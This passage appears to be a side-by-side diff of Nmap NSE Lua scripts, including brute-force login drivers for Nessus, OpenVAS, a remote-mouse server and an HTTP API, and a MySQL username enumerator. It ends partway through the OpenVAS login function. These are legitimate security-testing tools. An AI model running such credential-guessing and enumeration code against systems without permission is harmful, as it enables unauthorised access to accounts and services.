new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
return o return o
end, end,
-- as we are using http methods, no need for connect and disconnect -- as we are using http methods, no need for connect and disconnect
-- this might cause a problem as in other scripts that don't have explicit connect -- this might cause a problem as in other scripts that don't have explicit connect
-- as there is no way to "reserve" a socket -- as there is no way to "reserve" a socket
connect = function( self ) connect = function( self )
return true return true
end, end,
login = function (self, user, pass) login = function (self, user, pass)
local data local data
local options = { local options = {
header = { header = {
["Content-Type"] = "binary/message-pack" ["Content-Type"] = "binary/message-pack"
} }
} }
stdnse.print_debug( "Trying %s/%s ...", user, pass ) stdnse.print_debug( "Trying %s/%s ...", user, pass )
data = http.post(self.host,self.port, "/api/",options, nil , encode(user,pass)) data = http.post(self.host,self.port, "/api/",options, nil , encode(user,pass))
if data and data.status and tostring( data.status ):match( "200" ) then if data and data.status and tostring( data.status ):match( "200" ) then
if string.find(data.body,"success") then if string.find(data.body,"success") then
return true, brute.Account:new( user, pass, creds.State.VALID) return true, brute.Account:new( user, pass, creds.State.VALID)
else else
return false, brute.Error:new( "Incorrect username or password" ) return false, brute.Error:new( "Incorrect username or password" )
end end
end end
local err = brute.Error:new("Login didn't return a proper response") local err = brute.Error:new("Login didn't return a proper response")
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end, end,
disconnect = function( self ) disconnect = function( self )
return true return true
end end
} }
action = function( host, port ) action = function( host, port )
local status, result local status, result
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true engine.options.firstonly = true
engine.max_threads = 3 engine.max_threads = 3
engine.max_retries = 10 engine.max_retries = 10
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -40,80 +40,80 @@ portrule = shortport.port_or_service(51010, "mmouse", "tcp")
Driver = { Driver = {
new = function(self, host, port) new = function(self, host, port)
local o = { host = host, port = port } local o = { host = host, port = port }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function( self ) connect = function( self )
self.socket = nmap.new_socket() self.socket = nmap.new_socket()
self.socket:set_timeout(arg_timeout) self.socket:set_timeout(arg_timeout)
return self.socket:connect(self.host, self.port) return self.socket:connect(self.host, self.port)
end, end,
login = function( self, username, password ) login = function( self, username, password )
local devid = "0123456789abcdef0123456789abcdef0123456" local devid = "0123456789abcdef0123456789abcdef0123456"
local devname = "Lord Vaders iPad" local devname = "Lord Vaders iPad"
local suffix = "2".."\30".."2".."\04" local suffix = "2".."\30".."2".."\04"
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix) local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
local status = self.socket:send(auth) local status = self.socket:send(auth)
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "Failed to send data to server" ) local err = brute.Error:new( "Failed to send data to server" )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
local status, data = self.socket:receive_buf("\04", true) local status, data = self.socket:receive_buf("\04", true)
if (data:match("^CONNECTED\30([^\30]*)") == "NO" ) then if (data:match("^CONNECTED\30([^\30]*)") == "NO" ) then
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
elseif ( data:match("^CONNECTED\30([^\30]*)") == "YES" ) then elseif ( data:match("^CONNECTED\30([^\30]*)") == "YES" ) then
return true, brute.Account:new("", password, creds.State.VALID) return true, brute.Account:new("", password, creds.State.VALID)
end end
local err = brute.Error:new("An unexpected error occured, retrying ...") local err = brute.Error:new("An unexpected error occured, retrying ...")
err:setRetry(true) err:setRetry(true)
return false, err return false, err
end, end,
disconnect = function(self) disconnect = function(self)
self.socket:close() self.socket:close()
end, end,
} }
local function hasPassword(host, port) local function hasPassword(host, port)
local driver = Driver:new(host, port) local driver = Driver:new(host, port)
if ( not(driver:connect()) ) then if ( not(driver:connect()) ) then
error("Failed to connect to server") error("Failed to connect to server")
end end
local status = driver:login(nil, "nmap") local status = driver:login(nil, "nmap")
driver:disconnect() driver:disconnect()
return not(status) return not(status)
end end
action = function(host, port) action = function(host, port)
if ( not(hasPassword(host, port)) ) then if ( not(hasPassword(host, port)) ) then
return "\n Server has no password" return "\n Server has no password"
end end
local status, result local status, result
local engine = brute.Engine:new(Driver, host, port ) local engine = brute.Engine:new(Driver, host, port )
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true engine.options.firstonly = true
engine.options:setOption( "passonly", true ) engine.options:setOption( "passonly", true )
-- mouse server does not behave well when multiple threads are guessing -- mouse server does not behave well when multiple threads are guessing
engine:setMaxThreads(1) engine:setMaxThreads(1)
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -66,64 +66,64 @@ portrule = shortport.port_or_service({27017}, {"mongodb"})
function action(host,port) function action(host,port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
-- set a reasonable timeout value -- set a reasonable timeout value
socket:set_timeout(10000) socket:set_timeout(10000)
-- do some exception / cleanup -- do some exception / cleanup
local catch = function() local catch = function()
socket:close() socket:close()
end end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
try( socket:connect(host, port) ) try( socket:connect(host, port) )
local req, statusresponse, buildinfo, err local req, statusresponse, buildinfo, err
-- uglyness to allow creds.mongodb to work, as the port is not recognized -- uglyness to allow creds.mongodb to work, as the port is not recognized
-- as mongodb, unless a service scan was run -- as mongodb, unless a service scan was run
local ps = port.service local ps = port.service
port.service = 'mongodb' port.service = 'mongodb'
local c = creds.Credentials:new(creds.ALL_DATA, host, port) local c = creds.Credentials:new(creds.ALL_DATA, host, port)
for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do
local status, err = mongodb.login(socket, arg_db, cred.user, cred.pass) local status, err = mongodb.login(socket, arg_db, cred.user, cred.pass)
if ( not(status) ) then if ( not(status) ) then
return err return err
end end
end end
port.service = ps port.service = ps
local status, packet = mongodb.serverStatusQuery() local status, packet = mongodb.serverStatusQuery()
if not status then return packet end if not status then return packet end
local statQResult, buildQResult local statQResult, buildQResult
status,statQResult = mongodb.query(socket, packet) status,statQResult = mongodb.query(socket, packet)
if not status then return statQResult end if not status then return statQResult end
port.version.name ='mongodb' port.version.name ='mongodb'
port.version.product='MongoDB' port.version.product='MongoDB'
port.version.name_confidence = 10 port.version.name_confidence = 10
nmap.set_port_version(host,port) nmap.set_port_version(host,port)
status, packet = mongodb.buildInfoQuery() status, packet = mongodb.buildInfoQuery()
if not status then return packet end if not status then return packet end
status, buildQResult = mongodb.query(socket,packet ) status, buildQResult = mongodb.query(socket,packet )
if not status then if not status then
stdnse.log_error(buildQResult) stdnse.log_error(buildQResult)
return buildQResult return buildQResult
end end
local versionNumber = buildQResult['version'] local versionNumber = buildQResult['version']
port.version.product='MongoDB '..versionNumber port.version.product='MongoDB '..versionNumber
nmap.set_port_version(host,port) nmap.set_port_version(host,port)
local stat_out = mongodb.queryResultToTable(statQResult) local stat_out = mongodb.queryResultToTable(statQResult)
local build_out = mongodb.queryResultToTable(buildQResult) local build_out = mongodb.queryResultToTable(buildQResult)
local output = {"MongoDB Build info",build_out,"Server status",stat_out} local output = {"MongoDB Build info",build_out,"Server status",stat_out}
return stdnse.format_output(true, output ) return stdnse.format_output(true, output )
end end

View File

@@ -67,56 +67,56 @@ portrule = mssql.Helper.GetPortrule_Standard()
--- ---
local function process_instance( instance ) local function process_instance( instance )
local status, result local status, result
-- the tempdb should be a safe guess, anyway the library is set up -- the tempdb should be a safe guess, anyway the library is set up
-- to continue even if the DB is not accessible to the user -- to continue even if the DB is not accessible to the user
-- TODO: consider renaming this arg to ms-sql-query.database -- TODO: consider renaming this arg to ms-sql-query.database
local database = stdnse.get_script_args( 'mssql.database' ) or "tempdb" local database = stdnse.get_script_args( 'mssql.database' ) or "tempdb"
local query = stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) or "SELECT @@version version" local query = stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) or "SELECT @@version version"
local helper = mssql.Helper:new() local helper = mssql.Helper:new()
status, result = helper:ConnectEx( instance ) status, result = helper:ConnectEx( instance )
if status then if status then
status, result = helper:LoginEx( instance, database ) status, result = helper:LoginEx( instance, database )
if ( not(status) ) then result = "ERROR: " .. result end if ( not(status) ) then result = "ERROR: " .. result end
end end
if status then if status then
status, result = helper:Query( query ) status, result = helper:Query( query )
if ( not(status) ) then result = "ERROR: " .. result end if ( not(status) ) then result = "ERROR: " .. result end
end end
helper:Disconnect() helper:Disconnect()
if status then if status then
result = mssql.Util.FormatOutputTable( result, true ) result = mssql.Util.FormatOutputTable( result, true )
result["name"] = string.format( "Query: %s", query ) result["name"] = string.format( "Query: %s", query )
end end
local instanceOutput = {} local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, result ) table.insert( instanceOutput, result )
return instanceOutput return instanceOutput
end end
action = function( host, port ) action = function( host, port )
local scriptOutput = {} local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
if ( not status ) then if ( not status ) then
return stdnse.format_output( false, instanceList ) return stdnse.format_output( false, instanceList )
else else
for _, instance in pairs( instanceList ) do for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance ) local instanceOutput = process_instance( instance )
if instanceOutput then if instanceOutput then
table.insert( scriptOutput, instanceOutput ) table.insert( scriptOutput, instanceOutput )
end end
end end
if ( not( stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) ) ) then if ( not( stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) ) ) then
table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-query.query='<QUERY>' to change query.)") table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-query.query='<QUERY>' to change query.)")
end end
end end
return stdnse.format_output( true, scriptOutput ) return stdnse.format_output( true, scriptOutput )
end end

View File

@@ -73,41 +73,41 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"safe","discovery"} categories = {"safe","discovery"}
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
action = function(host,port) action = function(host,port)
local status, smbstate local status, smbstate
status, smbstate = msrpc.start_smb(host,msrpc.EPMAPPER_PATH,true) status, smbstate = msrpc.start_smb(host,msrpc.EPMAPPER_PATH,true)
if(status == false) then if(status == false) then
stdnse.print_debug("SMB: " .. smbstate) stdnse.print_debug("SMB: " .. smbstate)
return false, smbstate return false, smbstate
end end
local bind_result,epresult -- bind to endpoint mapper service local bind_result,epresult -- bind to endpoint mapper service
status, bind_result = msrpc.bind(smbstate,msrpc.EPMAPPER_UUID, msrpc.EPMAPPER_VERSION, nil) status, bind_result = msrpc.bind(smbstate,msrpc.EPMAPPER_UUID, msrpc.EPMAPPER_VERSION, nil)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
stdnse.print_debug("SMB: " .. bind_result) stdnse.print_debug("SMB: " .. bind_result)
return false, bind_result return false, bind_result
end end
local results = {} local results = {}
status, epresult = msrpc.epmapper_lookup(smbstate,nil) -- get the initial handle status, epresult = msrpc.epmapper_lookup(smbstate,nil) -- get the initial handle
if not status then if not status then
stdnse.print_debug("SMB: " .. epresult) stdnse.print_debug("SMB: " .. epresult)
return false, epresult return false, epresult
end end
local handle = epresult.new_handle local handle = epresult.new_handle
epresult.new_handle = nil epresult.new_handle = nil
table.insert(results,epresult) table.insert(results,epresult)
while not (epresult == nil) do while not (epresult == nil) do
status, epresult = msrpc.epmapper_lookup(smbstate,handle) -- get next result until there are no more status, epresult = msrpc.epmapper_lookup(smbstate,handle) -- get next result until there are no more
if not status then if not status then
break break
end end
epresult.new_handle = nil epresult.new_handle = nil
table.insert(results,epresult) table.insert(results,epresult)
end end
return results return results
end end

View File

@@ -48,67 +48,67 @@ arg_timeout = (arg_timeout or 5) * 1000
Driver = { Driver = {
new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
return o return o
end, end,
connect = function( self ) connect = function( self )
self.socket = nmap.new_socket() self.socket = nmap.new_socket()
local status, err = self.socket:connect(self.host, self.port) local status, err = self.socket:connect(self.host, self.port)
self.socket:set_timeout(arg_timeout) self.socket:set_timeout(arg_timeout)
if(not(status)) then if(not(status)) then
return false, brute.Error:new( "Couldn't connect to host: " .. err ) return false, brute.Error:new( "Couldn't connect to host: " .. err )
end end
return true return true
end, end,
login = function (self, user, pass) -- pass is actually the username we want to try login = function (self, user, pass) -- pass is actually the username we want to try
local status, response = mysql.receiveGreeting(self.socket) local status, response = mysql.receiveGreeting(self.socket)
if(not(status)) then if(not(status)) then
if string.find(response,"is blocked because of many connection errors") then if string.find(response,"is blocked because of many connection errors") then
local err = brute.Error:new( response ) local err = brute.Error:new( response )
err:setAbort( true ) err:setAbort( true )
return false, err return false, err
end end
return false,brute.Error:new(response) return false,brute.Error:new(response)
end end
stdnse.print_debug( "Trying %s ...", pass) stdnse.print_debug( "Trying %s ...", pass)
local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method
local err local err
status, err = self.socket:send(bin.pack("c",string.len(auth_string)-3) .. auth_string) --send initial auth status, err = self.socket:send(bin.pack("c",string.len(auth_string)-3) .. auth_string) --send initial auth
status, response = self.socket:receive_bytes(0) status, response = self.socket:receive_bytes(0)
if not status then if not status then
return false,brute.Error:new( "Incorrect username" ) return false,brute.Error:new( "Incorrect username" )
end end
if string.find(response,"Access denied for user") == nil then if string.find(response,"Access denied for user") == nil then
-- found it -- found it
return true, brute.Account:new( pass, nil, creds.State.VALID) return true, brute.Account:new( pass, nil, creds.State.VALID)
else else
return false,brute.Error:new( "Incorrect username" ) return false,brute.Error:new( "Incorrect username" )
end end
end, end,
disconnect = function( self ) disconnect = function( self )
self.socket:close() self.socket:close()
return true return true
end end
} }
action = function( host, port ) action = function( host, port )
local status, result local status, result
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options:setOption("passonly", true ) engine.options:setOption("passonly", true )
engine:setPasswordIterator(brute.usernames_iterator()) engine:setPasswordIterator(brute.usernames_iterator())
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
engine.options:setTitle("Valid usernames") engine.options:setTitle("Valid usernames")
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -47,72 +47,72 @@ local arg_noheaders = stdnse.get_script_args(SCRIPT_NAME .. ".noheaders") or fal
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
local function getCredentials() local function getCredentials()
-- first, let's see if the script has any credentials as arguments? -- first, let's see if the script has any credentials as arguments?
if ( arg_username ) then if ( arg_username ) then
return { [arg_username] = arg_password } return { [arg_username] = arg_password }
-- next, let's see if mysql-brute or mysql-empty-password brought us anything -- next, let's see if mysql-brute or mysql-empty-password brought us anything
elseif nmap.registry.mysqlusers then elseif nmap.registry.mysqlusers then
-- do we have root credentials? -- do we have root credentials?
if nmap.registry.mysqlusers['root'] then if nmap.registry.mysqlusers['root'] then
return { ['root'] = nmap.registry.mysqlusers['root'] } return { ['root'] = nmap.registry.mysqlusers['root'] }
else else
-- we didn't have root, so let's make sure we loop over them all -- we didn't have root, so let's make sure we loop over them all
return nmap.registry.mysqlusers return nmap.registry.mysqlusers
end end
-- last, no dice, we don't have any credentials at all -- last, no dice, we don't have any credentials at all
end end
end end
local function mysqlLogin(socket, username, password) local function mysqlLogin(socket, username, password)
local status, response = mysql.receiveGreeting( socket ) local status, response = mysql.receiveGreeting( socket )
if ( not(status) ) then if ( not(status) ) then
return response return response
end end
return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
end end
action = function(host, port) action = function(host, port)
if ( not(arg_query) ) then if ( not(arg_query) ) then
stdnse.print_debug(2, "No query was given, aborting ...") stdnse.print_debug(2, "No query was given, aborting ...")
return return
end end
local creds = getCredentials() local creds = getCredentials()
if ( not(creds) ) then if ( not(creds) ) then
stdnse.print_debug(2, "No credentials were supplied, aborting ...") stdnse.print_debug(2, "No credentials were supplied, aborting ...")
return return
end end
if ( arg_noheaders == '1' or arg_noheaders == 'true' ) then if ( arg_noheaders == '1' or arg_noheaders == 'true' ) then
arg_noheaders = true arg_noheaders = true
else else
arg_noheaders = false arg_noheaders = false
end end
local result = {} local result = {}
local last_error local last_error
for username, password in pairs(creds) do for username, password in pairs(creds) do
local socket = nmap.new_socket() local socket = nmap.new_socket()
if ( not(socket:connect(host, port)) ) then if ( not(socket:connect(host, port)) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
local status, response = mysqlLogin(socket, username, password) local status, response = mysqlLogin(socket, username, password)
if ( status ) then if ( status ) then
local status, rs = mysql.sqlQuery( socket, arg_query ) local status, rs = mysql.sqlQuery( socket, arg_query )
socket:close() socket:close()
if ( status ) then if ( status ) then
result = mysql.formatResultset(rs, { noheaders = arg_noheaders }) result = mysql.formatResultset(rs, { noheaders = arg_noheaders })
result = ("%s\nQuery: %s\nUser: %s"):format(result, arg_query, username) result = ("%s\nQuery: %s\nUser: %s"):format(result, arg_query, username)
last_error = nil last_error = nil
break break
else else
last_error = rs last_error = rs
end end
else else
socket:close() socket:close()
end end
end end
return stdnse.format_output(true, (last_error and ("ERROR: %s"):format(last_error) or result)) return stdnse.format_output(true, (last_error and ("ERROR: %s"):format(last_error) or result))
end end

View File

@@ -53,57 +53,57 @@ portrule = shortport.port_or_service(3306, "mysql")
action = function( host, port ) action = function( host, port )
local socket = nmap.new_socket() local socket = nmap.new_socket()
local catch = function() socket:close() end local catch = function() socket:close() end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
local result, response = {}, nil local result, response = {}, nil
local users = {} local users = {}
local nmap_args = nmap.registry.args local nmap_args = nmap.registry.args
local status, rows local status, rows
-- set a reasonable timeout value -- set a reasonable timeout value
socket:set_timeout(5000) socket:set_timeout(5000)
-- first, let's see if the script has any credentials as arguments? -- first, let's see if the script has any credentials as arguments?
if nmap_args.mysqluser then if nmap_args.mysqluser then
users[nmap_args.mysqluser] = nmap_args.mysqlpass or "" users[nmap_args.mysqluser] = nmap_args.mysqlpass or ""
-- next, let's see if mysql-brute or mysql-empty-password brought us anything -- next, let's see if mysql-brute or mysql-empty-password brought us anything
elseif nmap.registry.mysqlusers then elseif nmap.registry.mysqlusers then
-- do we have root credentials? -- do we have root credentials?
if nmap.registry.mysqlusers['root'] then if nmap.registry.mysqlusers['root'] then
users['root'] = nmap.registry.mysqlusers['root'] users['root'] = nmap.registry.mysqlusers['root']
else else
-- we didn't have root, so let's make sure we loop over them all -- we didn't have root, so let's make sure we loop over them all
users = nmap.registry.mysqlusers users = nmap.registry.mysqlusers
end end
-- last, no dice, we don't have any credentials at all -- last, no dice, we don't have any credentials at all
else else
stdnse.print_debug("No credentials supplied, aborting ...") stdnse.print_debug("No credentials supplied, aborting ...")
return return
end end
-- --
-- Iterates over credentials, breaks once it successfully recieves results -- Iterates over credentials, breaks once it successfully recieves results
-- --
for username, password in pairs(users) do for username, password in pairs(users) do
try( socket:connect(host, port) ) try( socket:connect(host, port) )
response = try( mysql.receiveGreeting( socket ) ) response = try( mysql.receiveGreeting( socket ) )
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
if status and response.errorcode == 0 then if status and response.errorcode == 0 then
local status, rs = mysql.sqlQuery( socket, "show variables" ) local status, rs = mysql.sqlQuery( socket, "show variables" )
if status then if status then
for _, row in ipairs(rs.rows) do for _, row in ipairs(rs.rows) do
table.insert(result, ("%s: %s"):format(row[1], row[2]) ) table.insert(result, ("%s: %s"):format(row[1], row[2]) )
end end
end end
end end
socket:close() socket:close()
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -59,58 +59,58 @@ local function fail(str) return "\n ERROR: " .. str end
action = function(host, port) action = function(host, port)
local op = arg_op:lower() local op = arg_op:lower()
if ( "map" ~= op and "unmap" ~= op and "unmapall" ~= op ) then if ( "map" ~= op and "unmap" ~= op and "unmapall" ~= op ) then
return fail("Operation must be either \"map\", \"unmap\" or \"unmapall\"") return fail("Operation must be either \"map\", \"unmap\" or \"unmapall\"")
end end
if ( ("map" == op or "unmap" == op ) and if ( ("map" == op or "unmap" == op ) and
( not(arg_pubport) or not(arg_privport) or not(arg_protocol) ) ) then ( not(arg_pubport) or not(arg_privport) or not(arg_protocol) ) ) then
return fail("The arguments pubport, privport and protocol are required") return fail("The arguments pubport, privport and protocol are required")
elseif ( "unmapall" == op and not(arg_protocol) ) then elseif ( "unmapall" == op and not(arg_protocol) ) then
return fail("The argument protocol is required") return fail("The argument protocol is required")
end end
local helper = natpmp.Helper:new(host, port) local helper = natpmp.Helper:new(host, port)
if ( "unmap" == op or "unmapall" == op ) then if ( "unmap" == op or "unmapall" == op ) then
arg_lifetime = 0 arg_lifetime = 0
end end
if ( "unmapall" == op ) then if ( "unmapall" == op ) then
arg_pubport, arg_privport = 0, 0 arg_pubport, arg_privport = 0, 0
end end
local status, response = helper:getWANIP() local status, response = helper:getWANIP()
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to retrieve WAN IP") return fail("Failed to retrieve WAN IP")
end end
local wan_ip = response.ip local wan_ip = response.ip
local lan_ip = (nmap.get_interface_info(host.interface)).address local lan_ip = (nmap.get_interface_info(host.interface)).address
local status, response = helper:mapPort(arg_pubport, arg_privport, arg_protocol, arg_lifetime) local status, response = helper:mapPort(arg_pubport, arg_privport, arg_protocol, arg_lifetime)
if ( not(status) ) then if ( not(status) ) then
return fail(response) return fail(response)
end end
local output local output
if ( "unmap" == op ) then if ( "unmap" == op ) then
output = ("Successfully unmapped %s %s:%d -> %s:%d"):format( output = ("Successfully unmapped %s %s:%d -> %s:%d"):format(
arg_protocol, wan_ip, response.pubport, lan_ip, response.privport ) arg_protocol, wan_ip, response.pubport, lan_ip, response.privport )
elseif ( "unmapall" == op ) then elseif ( "unmapall" == op ) then
output = ("Sucessfully unmapped all %s NAT mappings for %s"):format(arg_protocol, lan_ip) output = ("Sucessfully unmapped all %s NAT mappings for %s"):format(arg_protocol, lan_ip)
else else
output = ("Successfully mapped %s %s:%d -> %s:%d"):format( output = ("Successfully mapped %s %s:%d -> %s:%d"):format(
arg_protocol, wan_ip, response.pubport, lan_ip, response.privport ) arg_protocol, wan_ip, response.pubport, lan_ip, response.privport )
if ( tonumber(arg_pubport) ~= tonumber(response.pubport) ) then if ( tonumber(arg_pubport) ~= tonumber(response.pubport) ) then
output = { output } output = { output }
table.insert(output, "WARNING: Requested public port could not be allocated") table.insert(output, "WARNING: Requested public port could not be allocated")
end end
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -36,95 +36,95 @@ arg_timeout = (arg_timeout or 5) * 1000
local arg_threads = stdnse.get_script_args("nessus-xmlrpc-brute.threads") local arg_threads = stdnse.get_script_args("nessus-xmlrpc-brute.threads")
local function authenticate(host, port, username, password) local function authenticate(host, port, username, password)
local post_data = ("login=%s&password=%s"):format(username, password) local post_data = ("login=%s&password=%s"):format(username, password)
local headers = { local headers = {
"POST /login HTTP/1.1", "POST /login HTTP/1.1",
"User-Agent: Nmap", "User-Agent: Nmap",
("Host: %s:%d"):format(host.ip, port.number), ("Host: %s:%d"):format(host.ip, port.number),
"Accept: */*", "Accept: */*",
("Content-Length: %d"):format(#post_data), ("Content-Length: %d"):format(#post_data),
"Content-Type: application/x-www-form-urlencoded", "Content-Type: application/x-www-form-urlencoded",
} }
local data = table.concat(headers, "\r\n") .. "\r\n\r\n" .. post_data local data = table.concat(headers, "\r\n") .. "\r\n\r\n" .. post_data
local socket = nmap.new_socket() local socket = nmap.new_socket()
socket:set_timeout(arg_timeout) socket:set_timeout(arg_timeout)
local status, err = socket:connect(host, port) local status, err = socket:connect(host, port)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to connect to server" return false, "Failed to connect to server"
end end
local status, err = socket:send(data) local status, err = socket:send(data)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to send request to server" return false, "Failed to send request to server"
end end
local status, response = socket:receive() local status, response = socket:receive()
socket:close() socket:close()
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to receive response from server" return false, "Failed to receive response from server"
end end
return status, response return status, response
end end
Driver = Driver =
{ {
new = function (self, host, port ) new = function (self, host, port )
local o = { host = host, port = port } local o = { host = host, port = port }
setmetatable (o,self) setmetatable (o,self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function ( self ) return true end, connect = function ( self ) return true end,
login = function( self, username, password ) login = function( self, username, password )
local status, response = authenticate(self.host, self.port, username, password) local status, response = authenticate(self.host, self.port, username, password)
if ( status and response ) then if ( status and response ) then
if ( response:match("^HTTP/1.1 200 OK.*<status>OK</status>") ) then if ( response:match("^HTTP/1.1 200 OK.*<status>OK</status>") ) then
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
elseif ( response:match("^HTTP/1.1 200 OK.*<status>ERROR</status>") ) then elseif ( response:match("^HTTP/1.1 200 OK.*<status>ERROR</status>") ) then
return false, brute.Error:new("incorrect login") return false, brute.Error:new("incorrect login")
end end
end end
local err = brute.Error:new( "incorrect response from server" ) local err = brute.Error:new( "incorrect response from server" )
err:setRetry(true) err:setRetry(true)
return false, err return false, err
end, end,
disconnect = function( self ) return true end, disconnect = function( self ) return true end,
} }
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe") local status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe")
if ( not(status) ) then if ( not(status) ) then
return fail(response) return fail(response)
end end
-- patch the protocol due to the ugly way the Nessus web server works. -- patch the protocol due to the ugly way the Nessus web server works.
-- The server answers non-ssl connections as legitimate http stating that -- The server answers non-ssl connections as legitimate http stating that
-- the server should be connected to using https on the same port. ugly. -- the server should be connected to using https on the same port. ugly.
if ( status and response:match("^HTTP/1.1 400 Bad request\r\n") ) then if ( status and response:match("^HTTP/1.1 400 Bad request\r\n") ) then
port.protocol = "ssl" port.protocol = "ssl"
status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe") status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe")
if ( not(status) ) then if ( not(status) ) then
return fail(response) return fail(response)
end end
end end
if ( not(response:match("^HTTP/1.1 200 OK.*Server: NessusWWW.*<status>ERROR</status>")) ) then if ( not(response:match("^HTTP/1.1 200 OK.*Server: NessusWWW.*<status>ERROR</status>")) ) then
return fail("Failed to detect Nessus Web server") return fail("Failed to detect Nessus Web server")
end end
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
if ( arg_threads ) then if ( arg_threads ) then
engine:setMaxThreads(arg_threads) engine:setMaxThreads(arg_threads)
end end
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
local result local result
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -34,79 +34,79 @@ portrule = shortport.port_or_service({9390,9391}, "openvas", "tcp")
Driver = Driver =
{ {
new = function (self, host, port) new = function (self, host, port)
local o = { host = host, port = port } local o = { host = host, port = port }
setmetatable (o,self) setmetatable (o,self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function ( self ) connect = function ( self )
self.socket = nmap.new_socket() self.socket = nmap.new_socket()
if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
return false return false
end end
return true return true
end, end,
login = function( self, username, password ) login = function( self, username, password )
local status, err = self.socket:send("< OTP/1.0 >\n") local status, err = self.socket:send("< OTP/1.0 >\n")
if ( not ( status ) ) then if ( not ( status ) ) then
local err = brute.Error:new( "Unable to send handshake" ) local err = brute.Error:new( "Unable to send handshake" )
err:setAbort(true) err:setAbort(true)
return false, err return false, err
end end
local response local response
status, response = self.socket:receive_buf("\r?\n", false) status, response = self.socket:receive_buf("\r?\n", false)
if ( not(status) or response ~= "< OTP/1.0 >" ) then if ( not(status) or response ~= "< OTP/1.0 >" ) then
local err = brute.Error:new( "Bad handshake from server: "..response ) local err = brute.Error:new( "Bad handshake from server: "..response )
err:setAbort(true) err:setAbort(true)
return false, err return false, err
end end
status, err = self.socket:send(username.."\n") status, err = self.socket:send(username.."\n")
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "Couldn't send user: "..username ) local err = brute.Error:new( "Couldn't send user: "..username )
err:setAbort( true ) err:setAbort( true )
return false, err return false, err
end end
status, err = self.socket:send(password.."\n") status, err = self.socket:send(password.."\n")
if ( not(status) ) then if ( not(status) ) then
